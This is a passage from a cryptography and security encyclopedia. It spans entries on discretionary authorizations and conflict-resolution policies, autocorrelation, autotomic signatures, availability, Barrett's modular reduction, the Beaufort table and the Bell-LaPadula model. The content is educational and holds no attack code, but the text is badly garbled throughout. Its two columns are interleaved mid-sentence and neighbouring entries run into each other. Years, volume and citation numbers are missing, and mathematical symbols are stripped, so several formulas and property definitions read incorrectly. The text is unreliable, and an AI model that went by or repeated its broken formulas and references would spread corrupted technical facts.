Access Control Policies, Models, and Mechanisms;
strongly universal hash functions (see [] and also
Discretionary Access Control Policies (DAC)
[, ]).
Recommended Reading Denition

. Gilbert EN, MacWilliams FJ, Sloane NJA () Codes which An authorization represents the right granted to a user
detect deception. Bell Syst Tech J (): to exercise an action (e.g., read, write, create, delete, and
. Simmons GJ () A survey of information authentication. execute) on certain objects.
Contemporary cryptology, the science of information integrity.
IEEE, New York, pp
. Wegman MN, Carter JL () New hash functions and their use Background
in authentication and set equality. J Comput Syst Sci : Access control evaluates the requests to access resources
. Johansson T, Kabatianskii GA, Smeets B () On the realtion
and determines whether to grant or deny them. The access
between A-codes and codes correcting independent errors. In:
Advances in cryptology, EUROCRYPT . Lecture notes in
control process evaluating all access requests is based on
computer science, vol . Springer, pp regulations that differ according to the specific access con-
. van Tilborg HCA () Authentication codes: an area where trol policy adopted. In case of discretionary access con-
coding and cryptology meet. In: Boyd C (ed) Cryptography and trol policies, the access control process relies on a set of
coding V. Lecture notes in computer science, vol . Springer,
authorizations that traditionally are expressed in terms of
pp
. Kabatianskii GA, Smeets B, Johansson T () On the cardi-
the identity of the users. Since the ability of users to access
nality of systematic authentication codes via error-correcting resources depends on their identity, users must be properly
codes. IEEE Trans Inf Theory (): authenticated.
A Authorizations
Theory and Application Personnel

The simplest form of authorization is a triple u, o, a,
where u is the user to whom the authorization is granted, o
Administration Medical
is the object to which access is granted, and a is the action
representing the type of access that the user u can exer-
cise on object o. Specific subjects, objects, and actions to
Nurse Physician
which authorizations can be referred may be different from
system to system. For instance, in an operating system,
objects will be files and directories, while in database sys- Alice Bob Carol David
tems, tables and tuples within them might be considered
as objects. Actions for which authorizations can be speci- Authorizations. Fig. An example of user-group hierarchy
fied include the following access modes: read, to provide
users with the capability to view information; write, to
allow users to modify or delete information; execute, to authorizations, positive and negative authorizations
allow users to run programs; delete, to allow users to delete can be combined in a single model. For instance, the
system resources; and create, to allow users to create new owner of an object, who is delegating administration to
resources within the system. others, can specify a negative authorization for a spe-
In todays systems, the simple triple u, o, a has cific user to ensure that the user will never be able to
evolved to support the following features []. access the object, even if others grant her a positive
permission for it. Negative authorizations can also be
Conditions. To make authorization validity dependent used to specify exceptions. Suppose, for example, that
on the satisfaction of some specific constraints, todays all users belonging to a group but u can access object
access control systems typically support conditions o. If exceptions were not supported, it would be nec-
associated with authorizations. For instance, condi- essary to associate an authorization with each user in
tions can impose restrictions on the basis of: object the group but u, therefore not exploiting the possibil-
content (content-dependent conditions), system pred- ity of specifying the authorization on the group. This
icates (system-dependent conditions), or accesses pre- situation can be easily solved by supporting both posi-
viously executed (history-dependent conditions). tive and negative authorizations: the system would have
Purpose. Often the decision of whether an access a positive authorization for the group and a negative
request can be granted or denied may not only depend authorization for u.
on the user identity but also on the use the user intends The use of both positive and negative authoriza-
to do with the object being requested, possibly declared tions introduces two problems: inconsistency, when
by the user at the time of the request. To take into con- conflicting authorizations are associated with the
sideration this important aspect, authorizations may same element in a hierarchy; and incompleteness,
be extended with the specification of the purpose, that when some accesses are neither authorized nor
is, the reason for which an object can be used []. For denied.
instance, an authorization may state that a user can Incompleteness is usually easily solved by assuming a
access a specific object only if the user intends to access default policy (open or closed, this latter being more
the object for research purposes. common), when no authorization applies. In this case,
Abstractions. To simplify the authorization definition an open policy approach allows the access, while the
process, discretionary access control supports also user closed policy approach denies it.
groups and classes of objects, which may also be hierar- To solve the inconsistency problem, different conflict
chically organized. Typically, authorizations specified resolution policies have been proposed [, ], which are
on an abstraction propagate to all its members accord- described in the following.
ing to different propagation policies. Figure illustrates No conflict. The presence of a conflict is considered
an example of user-group hierarchy, where, for exam- an error.
ple, an authorization specified for the Nurse group Denials take precedence. Negative authorizations
applies also to Bob and Carol. take precedence.
Positive and negative authorizations. To provide more Permissions take precedence. Positive authoriza-
flexibility and control in the specification of tions take precedence.
Authorizations A
Nothing takes precedence. Conflicts remain unsolved. of restrictions to specify requirements of the exclusive only
Most specific takes precedence. An authorization if form stated above []. In this case, restrictions are of
specified for an entity (user, object, or action) the form u, o, a, c stating that u can perform action a on
takes precedence over authorizations specified for object o only if condition c is satisfied. Restrictions spec-
A
groups to which the entity belong. For instance, ify requirements that must all be satisfied for an access
consider the user-group hierarchy in Fig. and the to be granted. Lack to satisfy any of the requirements
authorizations Medical, Document1, +r and that apply to a given request implies the request will be
Nurse, Document1, r. Carol cannot read denied. Intuitively, restrictions play the same role as neg-
Document1 since the Nurse group is more spe- ative authorizations (i.e., a restriction is equivalent to a
cific than the Medical group. The most specific negative authorization where the condition is negated).
takes precedence criteria is intuitive and natural, However, restrictions are easier to understand because of
as it expresses the concept of exception. How- the clear separation between users to which a restriction
ever, it does not solve all possible conflicts. For applies on one side and necessary conditions that these
instance, Carol belongs to groups Nurse and users must satisfy on the other side (which, in traditional
Physician, which are not in a membership rela- approaches, would be collapsed into a single field []).
tionship, holding conflicting authorizations.
Most specific along a path takes precedence. An Advanced Authorizations
authorization specified for an entity (user, object, Recent advancements allow the specifications of autho-
or action) takes precedence over authorizations rizations with reference to generic attributes/properties of
specified for groups to which the entity belong, the parties (e.g., name, citizenship, occupation) and the
only for the paths passing from the considered objects (e.g., owner, creation date) involved. A common
entity. For instance, with respect to the previous assumption is that these properties characterizing users
example, Carol gains a positive authorization and objects are stored in profiles that define the name
from path (Medical, Physician, Carol), and and the value of the properties. Users may also support
a negative one from path (Medical, Nurse, requests for certified data (i.e., credentials), issued and
Carol). signed by authorities trusted for making statements on
the properties, and uncertified data, signed by the owner
Different authorizations can be applicable to a given itself. In this case, each component of the triple u, o, a
access request involving a specific user, object, and action. corresponds to boolean formulas over the user request-
The request is therefore granted if there is at least one ing access, the object to which access is requested, and the
authorization that allows it. With respect to the speci- actions the user wants to perform on the object, respec-
fied authorizations, intuitively, this implies that different tively. Also, recent access control models extend the autho-
authorizations are considered as combined in OR. This rization form allowing the specification of more expressive
traditional approach results limiting in some contexts. As access control rules, usually based on some logic lan-
a matter of fact, often access restrictions are stated in a guages []. Goal of these proposals is the development of
restrictive form rather than in the inclusive positive form flexible and powerful access control models that provide
just mentioned. Rules expressed in a restrictive form state multiple policy features, that is, that can capture within a
conditions that must be satisfied for an access to be granted single model (and therefore mechanism) different access
and such that, if at least one condition is not satisfied, the control and conflict resolution policies.
access should not be granted. For instance, a rule can state
that access to file can be allowed only to Medical staff. It
Recommended Reading
is easy to see that such a restriction cannot be simply rep-
. Bonatti P, Damiani E, De Capitani di Vimercati S, Samarati P
resented as an authorization stating that users belong to () A component-based architecture for secure data publi-
the Medical group can be authorized. In fact, while the cation. In: Proceedings of the th Annual Computer Security
single authorization brings the desired behavior, its com- Applications Conference. New Orleans, December
bination with other authorizations may have the effect that . Bonatti P, Samarati P () Logics for authorizations and secu-
rity. In: Chomicki J, van der Meyden R, Saake G (eds) Logics for
the only constraint is not satisfied anymore. From what
emerging applications of databases. Springer, Berlin/Hedielberg
said, it is clear that the traditional approach of specifying . Jajodia S, Samarati P, Sapino ML, Subrahmanian VS () Flex-
authorizations as positive permissions for the access is not ible support for multiple access control policies. ACM Trans
sufficient. Some proposals therefore support the definition Database Syst ():
A Autocorrelation
. Lunt T () Access control policies: some unanswered ques-

tions. Comput Secur (): Autotomic Signatures
policies, models, and mechanisms. In: Focardi R, Gorrieri R (eds)
David Naccache
Foundations of Security Analysis and Design. Lecture notes in
computer science, vol . Springer, Berlin Dpartement dinformatique, Groupe de cryptographie,
cole normale suprieure, Paris, France
Related Concepts
Autocorrelation Digital Signatures
Tor Helleseth Denition

The Selmer Center, Department of Informatics, Digital signature security is defined as an interaction
University of Bergen, Bergen, Norway between a signer Ssk , a verifier Vpk , and an attacker
A. A submits adaptively to Ssk a sequence of messages
m , . . . , mq to which Ssk replies with the signatures U =
Related Concepts { , . . . , q }. Given U, A attempts to produce a forgery,
Autocorrelation; Cross-Correlation; Maximal-Length
defined as a pair (m , ) such that Vpk (m , ) = true
Linear Sequences; Modular Arithmetic; Sequences
and / U. The traditional approach consists in hardening
Ssk against a large query bound q. Rather than harden-
Denition ing Ssk , autotomic signatures weaken A by preventing him
Let {at } be a sequence of period n (so at = at+n for all val-
from influencing Ssk s input: upon receiving mi , Ssk will
ues of t), with symbols being the integers mod q (modular
generate a fresh ephemeral signature key-pair (ski , pki ),
arithmetic). The periodic autocorrelation of the sequence
use ski to sign mi , erase ski , and output the signature along
{at } at shift is defined as
with certificate on pki computed using a long-term key sk.
n In other words, Ssk will only use his permanent secret sk to
A() = at+ at
t=
sign inputs, which are beyond As control (namely, freshly
generated public-keys). As the ski are ephemeral, q = by
where is a complex q-th root of unity.
construction.
Often one considers binary sequences when q = and
= . Then the autocorrelation at shift equals the num- It can be shown that autotomy allows to transform
ber of agreements minus the number of disagreements weakly secure signature schemes (secure against generic
between the sequence {at } and its cyclic shift {at+ }. attacks only) into strongly secure ones (secure against
adaptively chosen message attacks).
Application
In most applications, one wants the autocorrelation for all
nonzero shifts (mod n) (the out-of-phase autocorre-
lation) to be low in absolute value. For example, this prop-
Availability
erty of a sequence is extremely useful for synchronization
purposes. Eric Cronin
CIS Department, University of Pennsylvania,
Recommended Reading Philadelphia, PA, USA
. Golomb SW () Shift register sequences. Holden-Day series
in information systems. Holden-Day, San Francisco. Revised ed.,
Aegean Park Press, Laguna Hills,
Denition
. Golomb SW, Gong G () Signal design for good correlation
A service is of no practical use if no one is able to access
for wireless communication, cryptography, and radar. Cambridge it. Availability is the property that legitimate principals are
University Press, Cambridge able to access a service within a timely manner whenever
. Helleseth T, Vijay Kumar P () Sequences with low correlation. they may need to do so.
In Pless VS, Huffman WC (ed) Handbook in coding theory, vol II.
Elsevier, Amsterdam, pp
. Helleseth T, Vijay Kumar P () Pseudonoise sequences. In
Theory
Gibson JD (ed) The communications handbook, nd edn. CRC Availability is typically expressed numerically as the frac-
Press, London, pp tion of a total time period during which a service is
Availability A
available. Although one of the keystones of computer secu- random failures where five-nines of availability (avail-
rity, availability has historically not been emphasized as able .% of the time) are often used when describ-
much as other properties of security such as confidential- ing systems. The second cause for loss of availability is
ity and integrity. This lack of emphasis on availability has of more interest from a security standpoint. When an
A
changed recently with the rise of open Internet services. attacker is able to degrade availability, it is known as a
Decreased availability can occur both inadvertently, Denial of Service attack. Malicious attacks against avail-
through failure of hardware, software, or infrastructure, or ability can focus on the service itself (e.g., exploiting a
intentionally, through attacks on the service or infrastruc- common software bug to cause all backups to fail simul-
ture. The first can be mitigated through redundancy, where taneously), or on the infrastructure supporting the service
the probability of all backups experiencing a failure simul- (e.g., flooding network links between the service and the
taneously is (hopefully) very low. It is in regard to these principal).
B
Bank Card Barter

Payment Card Fair Exchange
Barretts Algorithm Base

David Naccache Generator
Dpartement dinformatique, Groupe de cryptographie,
Beaufort Encryption
Related Concepts Friedrich L. Bauer
Modular Reduction; Montgomerys Algorithm; RSA
Denition
Barretts algorithm is a process allowing the computation Related Concepts
of the quantity u mod n without resorting to trial divi- Encryption; Symmetric Cryptosystem
sion. The method is efficient in settings where u changes
frequently for a relatively invariant n (which is the case in Denition
cryptography). Let N denote the size of n in bits, u < N Beaufort encryption is an encryption similar to the
and q = u/n. Define: Vigenre encryption [], but with shifted reversed stan-
dard alphabets. For encryption and decryption, one can
u N
N n use the Beaufort table below (Giovanni Sestri, ).

q =
N+

Recommended Reading
N . Bauer FL () Decrypted secrets. In: Methods and maxims of
Note that the constant n can be computed once cryptology. Springer, Berlin
for all and reused for many different u values. All other
operations necessary for the computation of q are simple
multiplications and bit-shifts.
It is easy to prove that u nq < u n(q + ) = Bell-LaPadula Condentiality
(u mod n) + n. Hence, one multiplication and (at Model
most) two subtractions will suffice to determine u mod n
from q . Ebru Celikel Cankaya
Recommended Reading University of North Texas, Denton, TX, USA
. Barrett PD () Implementing the Rivest Shamir and Adle-
man public key encryption algorithm on a standard digital signal
processor. In: Odlyzko AM (ed) Advances in Cryptology. Proc. Synonyms
Crypto , LNCS . Springer, Berlin, Heidelberg, pp Confidentiality model
B Bell-LaPadula Condentiality Model
a b c d e f g h i j k l m n o p q r s t u v w x y z
A Z Y X W V U T S R Q P O N M L K J I H G F E D C B A
B A Z Y X W V U T S R Q P O N M L K J I H G F E D C B
C B A Z Y X W V U T S R Q P O N M L K J I H G F E D C
D C B A Z Y X W V U T S R Q P O N M L K J I H G F E D
E D C B A Z Y X W V U T S R Q P O N M L K J I H G F E
F E D C B A Z Y X W V U T S R Q P O N M L K J I H G F
G F E D C B A Z Y X W V U T S R Q P O N M L K J I H G
H G F E D C B A Z Y X W V U T S R Q P O N M L K J I H
I H G F E D C B A Z Y X W V U T S R Q P O N M L K J I
J I H G F E D C B A Z Y X W V U T S R Q P O N M L K J
K J I H G F E D C B A Z Y X W V U T S R Q P O N M L K
L K J I H G F E D C B A Z Y X W V U T S R Q P O N M L
M L K J I H G F E D C B A Z Y X W V U T S R Q P O N M
N M L K J I H G F E D C B A Z Y X W V U T S R Q P O N
O N M L K J I H G F E D C B A Z Y X W V U T S R Q P O
P O N M L K J I H G F E D C B A Z Y X W V U T S R Q P
Q P O N M L K J I H G F E D C B A Z Y X W V U T S R Q
R Q P O N M L K J I H G F E D C B A Z Y X W V U T S R
S R Q P O N M L K J I H G F E D C B A Z Y X W V U T S
T S R Q P O N M L K J I H G F E D C B A Z Y X W V U T
U T S R Q P O N M L K J I H G F E D C B A Z Y X W V U
V U T S R Q P O N M L K J I H G F E D C B A Z Y X W V
W V U T S R Q P O N M L K J I H G F E D C B A Z Y X W
X W V U T S R Q P O N M L K J I H G F E D C B A Z Y X
Y X W V U T S R Q P O N M L K J I H G F E D C B A Z Y
Z Y X W V U T S R Q P O N M L K J I H G F E D C B A Z
Related Concepts property, -property, and discretionary security (ds) prop-

Access Control; Mandatory Access Control erty and are explained in detail in the Theory section below.
Denition Background
The Bell-LaPadula Confidentiality Model is a state The Bell-LaPadula Confidentiality Model was first intro-
machinebased multilevel security policy. The model duced by D. Elliott Bell and L. J. LaPadula at MITRE Corp.
was originally designed for military applications. State in . It was a security model that modeled after the
machine models define states with current permissions military and government systems by focusing on classifi-
and current instances of subjects accessing the objects. The cations and needs-to-know bases. The model was revised
security of the system is satisfied by the fact that the sys- and published in , after adding an interpretation for
tem transitions from one secure state to the other with no the security kernel of Multics, the time-sharing operating
failures. system.
The model uses a layered classification scheme for sub-
jects and a layered categorization scheme for objects. The
classification level of the objects and the access rights of Theory
the subjects determine which subject will have authorized There are two fundamental entities in the Bell-LaPadula
access to which object. This layered structure forms a Confidentiality Model: subjects (S) that are active elements
lattice for manipulating access. and objects (O) that are passive elements in the system. The
The Bell-LaPadula Confidentiality Model is a static goal of the model is to manage and organize the access of
model, which assumes static states. It implements manda- subjects to objects. The model can be defined with a -tuple
tory access control (MAC) and discretionary access control scheme as (b, M, f, H).
(DAC) through implementing three different security b: The current access set that represents the current access
properties. These properties are called simple security of subject Si to object Oj with access right x as ( Si , Oj , x).
Bell-LaPadula Condentiality Model B
The access right x can be in one of the following four then the security level of the object O is dominated by
different access modes (Fig. ). the security level of the object O .
M: The D access matrix that indicates the access rights of (Si , O , x) b, x {r, w} (Si , O , y) b,
subjects on objects. For example, the cell Mij contains the y {a, w} fO (O ) is dominated by fO (O ). Based
on the level function f , the -property can be restated
access right of subject Si on object Oj .
as follows:
B
f: The level function. A security level in the form of a (clas-
For current state being ( Si , Oj , x): if x is an alter
sification, category) pair is mapped to a (subject, object)
request then fO (Oj ) dom fC (Si ), if x is a write request
pair, respectively. Classifications are the sensitivity lev-
then fO (Oj) = fC (Si) , and if x is a read request then
els that are used in the military system. They are listed
fC (Si ) dom fO (Oj ).
as unclassified, confidential, secret, and top secret, in the
The -property ensures that a subject with a higher
order of increasing level of security. Categories refer to the
level of security cannot transfer data to an object
projects or departments in an organization and help imple-
with a lower level of security. This is also called no
ment the needs-to-know principle. Security levels exist
write down. This property prevents users exploiting the
with the partial ordering as follows:
system by transferring information to lower security
(classification-, category set-) dom (classification-,
levels.
category set-) (classification- classification-)
. Discretionary security (ds) property: If there are dis-
(category set- category set-), where dom indicates the
cretionary policies in the access matrix M, that is,
dominates relationship.
(Si , Oj , x) b x Mij , then accesses are fur-
There are three types of security level functions: fS , fO ,
ther limited to these policies. This property provides
and fC . fS (S i ) refers to the maximum security level of sub-
the flexibility to grant/revoke access rights, as opposed
ject Si , fO (Si ) describes the security level of an object, and
to the ones rights enforced by the simple security prop-
fC (Si ) describes the current security level of subject S i .
erty and the -property.
Also, f S ( S i ) dominates f C ( S i ).
H: Describes the hierarchy on objects. This hierarchy is The simple security and -properties implement
usually a directed tree structure and is based on the file mandatory access control (MAC), while discretionary
structure of the Multics operating system. security property implements discretionary access control
Three properties define security in the Bell LaPadula (DAC).
Model:
. Simple security property: If a subject Si has current
observe access to an object Oj , then the security level Applications
of the subject dominates the security level of the object. Due to the fact that the Bell-LaPadula Confidentiality
Mathematically, this can be stated as follows: Model was originally designed for military purposes, it
is used in military and government agencies. It is also
intended for multiuser systems. The model does not
(S i , O j , x) b, x {r, w} f S ( S i ) dom f O ( O j ) address other security principles, such as integrity. So, it
remains insufficient in providing a comprehensive security
The simple security property ensures that a subject model.
with a lower level of security cannot read an object with The model also cannot provide service for specific
a higher level of security. This property is also known requirements of the Department of Defense and intel-
as no read up. ligence services, such as NOFORN (Not Releasable for
. -Property: If a subject Si has current observe access to Foreign Nations) or ORCON (Originator Controlled
an object O , and current alter access to an object O , Release).
Letter code Access Right Observation Modification

r Read Yes No
w Write Yes Yes
e Execute No No
a Append No Yes
Bell-LaPadula Condentiality Model. Fig. Access modes

B BellLa Padula Model
The properties of the model for trusted subjects Denition

are overridden, which may lead to exploit of access The Bell and La Padula Model is a state-based computer
authorizations. security model that is the most widely used model for
the production and evaluation of commercial products
Open Problems and Future Directions and systems approved for operational use. It was devel-
At the time when the Bell-LaPadula Confidentiality Model oped and explicated in a series of four technical reports
was first introduced, it was using a new approach as mul- between and . The first three reports provided an
tilevel security that was already being used in military and ability to describe three aspects of security called simple-
government organizations. In todays computing environ- security, discretionary-security, and -property (pro-
ments, entities such as users, hardware components, etc., nounced star-property) and produced analytical tools for
follow an organizational hierarchy. This brings the require- use in evaluating products and systems for conformance to
ment for a layered security, and the Bell-LaPadula Model those three aspects of security. The fourth report unified
is an ideal fit for that purpose. the exposition of the previous three reports and provided
Still, the model comes with its inadequacies: The Bell- the first model interpretation, providing a careful cor-
LaPadula Model does not explicitly prevent declassifying respondence between the Multics system and the model.
security classifications. For example, the system admin- Later work refined the analytical tools and generalized the
istrator can lower the security classification of a subject definition of security to include all boolean policies that
S from confidential to unclassified, while his access rights is, policies that can be expressed as well-formed formul
remain the same. This will cause deliberate disclosure of using only AND, OR, and NOT to combine the conditions.
sensitive data. It is proposed that the model is appended
with a new property, called tranquility property, which Background
states that security labels never change while the system is In the late s, computer use in the government was
in operation. increasing and the development of time-sharing on large
More importantly, the Bell-LaPadula Model does not computers opened the possibility of cost savings by using
take the processes of subject and object creation/destruction single computers to process information of several differ-
into consideration. This is an important drawback that ent levels of classifications (rather than having to dedicate
dooms the model to be an inadaptive, static model. a separate machine to process information at each clas-
sification level). The Ware Report [] identified a list of
Recommended Reading computer and network vulnerabilities that required atten-
. LaPadula L () Secure computer systems: mathematical foun- tion. The Glaser panel, recorded in the Anderson Report
dations, MITRE technical report , vol. I titled Secure Com- [], concluded that products and systems had to be built
puter Systems: Mathematical Foundations by D. Elliott Bell and with security in mind from the outset. This conclusion
Leonard J. LaPadula dated March
was based on the fact that Tiger Teams chartered to break
. Fischer-Hbner S: IT-Security and Privacy: Design and Use of
Privacy-Enhancing Security Mechanisms, Springer,
through commercial operating systems had been singu-
. Zelkowitz M. V.: Advances in Computers, Volume , Academic larly successful: It is a commentary on contemporary sys-
Press, tems that none of the known tiger team efforts has failed
to date. The tiger-team exercise also demonstrated that
a capable attacker, on breaching the defenses, will insert
additional back-doors that cannot be found. The Air Force
BellLa Padula Model report noting this possibility prompted the exploit that Ken
Thompson reported in his Turing lecture [].
David Elliott Bell As a result, the Anderson Report proposed to start
Reston, VA, USA with a statement of an ideal system, a model, and to refine
and move the statement through various levels of design
into the mechanisms that implement the model system.
Synonyms The model would then guide in building prototype secure
BLP; BLP model; Secure computer system model systems, and finally in building or re-implementing secure
systems. Further, [w]hat is needed beyond a model is a
Related Concepts design for a reference validation mechanism that mirrors
Access Control; Chinese-Wall Model; Reference the model and is faithful in its exercise of the principles
Monitor; The ClarkWilson Model upon which the approach to the model is based. The
BellLa Padula Model B
implemented system would have to be shown to conform captured in security functions f ; the collection of all possi-
to the model and not perform actions that would circum- ble security assignments was the set F .
vent the security mechanisms specified by the model. In the document classification system of the time, peo-
In , the Air Force tasked The MITRE Corporation ple were only allowed documents for which they were
in Bedford, Massachusetts, with producing such a security cleared. Specifically, their hierarchical clearance had to be
model. The tasking statement called for a report entitled greater than or equal to the classification of the document.
B
Security Computer Systems whose contents would be In addition, if the document had one or more security cat-
a mathematical model of computer security. While the egories assigned to it, then the person had to have been
Ware Report and the Anderson Report results were avail- assigned all of those same categories, and possibly more.
able in preliminary forms, the staff assigned to the task, If a person gained access to a document without satisfying
David Elliott Bell and Leonard La Padula, were not referred these strictures, then it was a violation of policy and the
to them for context. situation was called a compromise.
The available literature at the time included several dif- Reproducing this situation abstractly, the model
ferent treatments of security in computer systems, mostly included a current access set that recorded which sub-
called protection or confinement at the time. Some jects had access to which objects. To allow for change,
work abstracted functioning systems and were thus tightly the model was structured as a set of state sequences, each
tied to the implementation details of the underlying sys- sequence limited by a relation W that identified both
tem. Examples are some of the Multics papers in the possible successor states {zi+ } for the current state zi
Fall Joint Computer Conference (such as []) and Clark and a matching decision (D D) for a request to
Weissmans ADEPT- paper []. At the other end of the change of state (R R). Together with an initial state z ,
spectrum were academic papers that were written at the R, D, and W defined the model, denoted (R, D, W, z ).
level of general computation. An example is Protection (R, D, W, z ) was defined to be secure if every state in
Principles and Practice []. The best general description every sequence starting at z is not a compromise state
of protection principles was J. Saltzers Protection and the one where some subject S has an object whose security
control of information sharing in Multics []. characteristics are not below Ss security characteristics.
Since MITREs tasking was more general than address- The initial effort had produced an ability to describe
ing individual systems and was intended to help build and a security condition in a generalized computer. Sev-
analyze systems to be fielded and used, it was appropri- eral interesting topics presented themselves, foremost the
ate to build tools that could be applied to a wide range intricacies involved in changing the classification of an
of system implementations and thus aid in completing object. Clearly, if a CONFIDENTIAL weather report
the design task of realizing and fielding useful and secure were upgraded to SECRET while a subject cleared only
systems. to CONFIDENTIAL had access, then the subject could
deduce from a sudden and unexpected loss of access
that the document may have been upgraded (and the
Theory information that had been used or copied might now
First Volume: Secure Computer Systems: Mathematical be SECRET or higher). On the other hand, queueing
Foundations [] the upgrade also had at least two downsides: something
At the beginning, a notion of security had to be abstracted deemed a higher classification was still accessible by per-
from the military classification and clearance system, while sonnel cleared to CONFIDENTIAL and there was the
generic computer functions had to abstracted from specific possibility that someone would always have the file open,
computers, both put into an abstract, mathematical frame- delaying the upgrade indefinitely.
work. As a first cut, the policy of people and their access This particular set of intricacies were ruled out of scope
to classified documents was used as the rough analog. The by management, with the dictum that the model should
person analogs were called subjects; the set of all sub- assume that classifications would not change dynamically
jects was denoted S. The document analogs were termed during operation. While the modelers did not agree with
objects; the set of objects was denoted O. To transliterate this direction, it was the right decision. With this simpli-
the classification system, the hierarchical set of classifica- fying assumption, later termed the tranquility principle,
tions {UNCLASSIFIED, CONFIDENTIAL, SECRET, it became clear the whole problem was pretty straightfor-
TOP SECRET} and an unspecified set of categories ward. A result called the Basic Security Theorem was
K were included as security levels L and assignments of proved. It stated that if a system begins in a secure state (as
classifications and categories to subjects and objects was defined in the model) and never introduces a compromise,
then the system will always remain in a secure state. One W ( , , ). This structure moved towards engineering
could paraphrase by saying that the Basic Security Theo- use of the model by modularizing the entire system and
rem states that security as defined is an inductive property. allowing a refinement of the Basic Security Theorem. The
This is not a profound result, but it is not trivial. There are revised basic security theorem (Theorem .) showed that
both good and bad properties that are inductive as well as the system defined by a set of rules was secure (i.e., satis-
good and bad properties that are not inductive. The signifi- fied the Security Condition relative to the security function
cance of this first Basic Security Theorem is that the models f and -property) at every state reachable from the initial
definition of security is inductive and therefore fairly sim- state z provided each rule was both security-preserving
ple to maintain in theory. It also changed security from a and -property-preserving.
negative problem (dont allow this to happen) to a posi-
tive one (always check this). A positive statement of what Third Volume: Secure Computer Systems: Renement
to do enabled the later steps in the plan of action laid out of the Mathematical Model []
by the Anderson Report. The third volume responded to topics that arose in the first
efforts to use the model as a guide in building prototype
Second Volume: Secure Computer Systems: secure computer systems. It included three refinements:
A Mathematical Model [] one to address an implementation problem in the original
The second volume added descriptive capability, altered definition of -property, a second to simplify the defini-
the definition of security to match, and extended the defi- tion of -property by adding a concept to the descriptive
nition of security. machinery of the model, and the last to include a notion of
Access to objects added a mode of access to reflect dif- tree-structured file systems and their classification.
ferent types of access within computers: read/write, read- In an initial attempt to apply -property to secur-
only and append, for example. Within the model, the ing Unix, the MITRE developer discovered a significant
modes of access were undefined, but accesses represent- problem. It was not possible to assign a security level
ing all four combinations of altering an objects contents to the scheduler, for example, and apply the -property
(or not) and viewing an objects contents (or not) were as then defined. In swapping between a TOP SECRET
included. Also included was an access mode representing and SECRET process, the scheduler had to both read
the ability to change another subjects rights to access a spe- and write SECRET and TOP SECRET, not to mention
cific object. This control access mode was left undefined that the schedulers information about processes at vari-
because of the wide range of possibilities for discretionary ous levels might include classified information about the
access control. The definition of security was altered to running processes. -property was changed to partition
define security as a subject having access to an object in processes into two sets: one set could be unexamined, but
a mode implying the ability to view its contents only if the would run with -property strictures in place; the other
subjects security level value dominated that of the object. set, termed trusted subjects, would require examination
Security was expanded to include a third condition. to ensure that no unwanted flow of information would
This condition, called -property, internalized the prob- ever occur, even in the presence of simultaneous access
lem of information from classified objects being copied for reading high and writing low. From an engineering
from a high-level object into a lower-level object. Rather point of view, instantiations of trusted subjects had to
than attempt to block the transfer at the time of copying be scrutinized intensely, while non-trusted subjects could
information, -property disallowed simultaneous access to avoid that scrutiny at the cost of living with -property.
objects that would allow any untoward flow. For exam- Non-trusted subjects were denoted S . The revised version
ple, a cleared subject might have the right to view a TOP of -property said that if a subject were a trusted subject
SECRET intelligence summary and to alter the contents (i.e., an element of the remainder set S S ), there were
of an UNCLASSIFIED bowling-score file, but only one no additional constraints; every subject in S must also
access would be honored at a time. If the subject first satisfy -property limits on simultaneous access.
opened the intelligence summary, a following attempt to During implementation, it was also found that the
open the bowling score would be denied, and vice versa. original formulation of -property could be vastly sim-
The structure of the model was further altered by plified for operating systems. The original formulation
replacing the change-of-state relation W by a set of required checking a requested new access against all cur-
change-of-state rules through , each of which adju- rent accesses to assure that no undesirable information
dicated a single type of request, and the derived relation flows could occur. Since, however, every process in an
BellLa Padula Model B
operating system has a working set to which it can both the term used for requiring a subjects security level to
read and write, a single comparison to the level of the be higher than all objects it accesses for viewing. Discre-
working set suffices. The model was altered to provide each tionary security referred to limiting a subjects access to
subject with a current security level always dominated objects that have been identified as acceptable for it to
by the subjects maximum security level. The -property access in the access matrix M. -property is the intrin-
check was thus simplified to a single comparison. sic counter to information flow among the objects opened
B
The fact that the first two volumes had a flat object by non-trusted subjects. In addition, the undefined control
space made the translation from the model to operat- attribute was made specific to the Multics context: abil-
ing systems with tree-structured file systems somewhat ity to alter the discretionary access control on an object
difficult. This was addressed by the addition of descrip- is equivalent to the ability to write to that objects parent
tive capability to include the ordering of objects into a directory.
hierarchy H. Eleven new, Multics-specific rules were formulated.
The consideration of directories as objects led to debate They were proved to define a system satisfying simple secu-
about the proper way to classify the directories. The crux rity, discretionary security, and -property. The resulting
of the problem is that any directory that is at a different modeling system was then shown to correspond to the
security level than one of its children poses an anomaly. gates into the Multics kernel, satisfying the programmatic
If the parent has a higher classification, then the system plan laid out in the Anderson Report.
must parse a higher-security object for information about With this volume, the original plan of the modeling
a lower-level one. On the other hand, if a parent is of a effort was complete. The model provided a descriptive
lower classification than the parent, a lower-level object capability, generalizing and incorporating external secu-
contains metadata about a high-level object. A manage- rity policies and generalizing computer entities. It included
ment decision was made to require that every child object general results, both a set of rules covering common
be at the same level as its parent or have a higher security actions within computer systems (get access, release access,
level. That requirement was termed compatibility in the create object, delete object, grant access, rescind access,
model. Its inclusion required changes to the rule about cre- change my current security level) and theorems delineat-
ating objects to assure that compatibility was maintained. ing the conditions to be met at a rule level to ensure that
It is worth noting that the discussion of classifying directo- the modeling system itself is secure by its own definition.
ries rested on the erroneous view that anything important Finally, it provided a worked example of a specific solu-
requires a classification. That need not be the case, as other tion, using the model to bridge the gap between external
mechanisms such as integrity labels could be used instead security policies and a concrete operating system.
to isolate important but not classified data.
Later Developments
Fourth Volume: Secure Computer Systems: Unied After , minor changes and additions were made as cir-
Exposition and Multics Interpretation [] cumstances dictated. New rules were written and proved
A year after the publication of the third volume, Bell and security-preserving. The definition of trusted subject was
La Padula were brought back to modeling to assist in generalized by assigning each subject two security lev-
ongoing engineering efforts that were being guided by the els, a minimum-alter level and a maximum-view level.
previous three volumes. There were two issues: one was the Every subject could have simultaneous view- and alter-
lack of a single source document for the modeling results; access between maximum-view and minimum-alter. An
the other was the large conceptual leap from the model untrusted subject became one where minimum-alter was
to the implementation details of Honeywells Multics the same as maximum-view. All other subjects have a non-
system. trivial range of simultaneous access and are thus trusted.
The resulting volume was the first worked example There were more substantive developments in the area
of a model interpretation: a detailed correspondence of networks and other security policies.
between the existing modeling framework and the design During the development of BLACKER Phase (an
specification of a concrete computer operating system. A cryptographic system), a network interpretation of the
The unification consisted of gathering the modeling model was developed. The special nature of the network
definitions and results into a single common form. Security situation necessitated model changes as well. For net-
was defined as the combination of simple security, dis- works, the subject instantiation was a host computer, rather
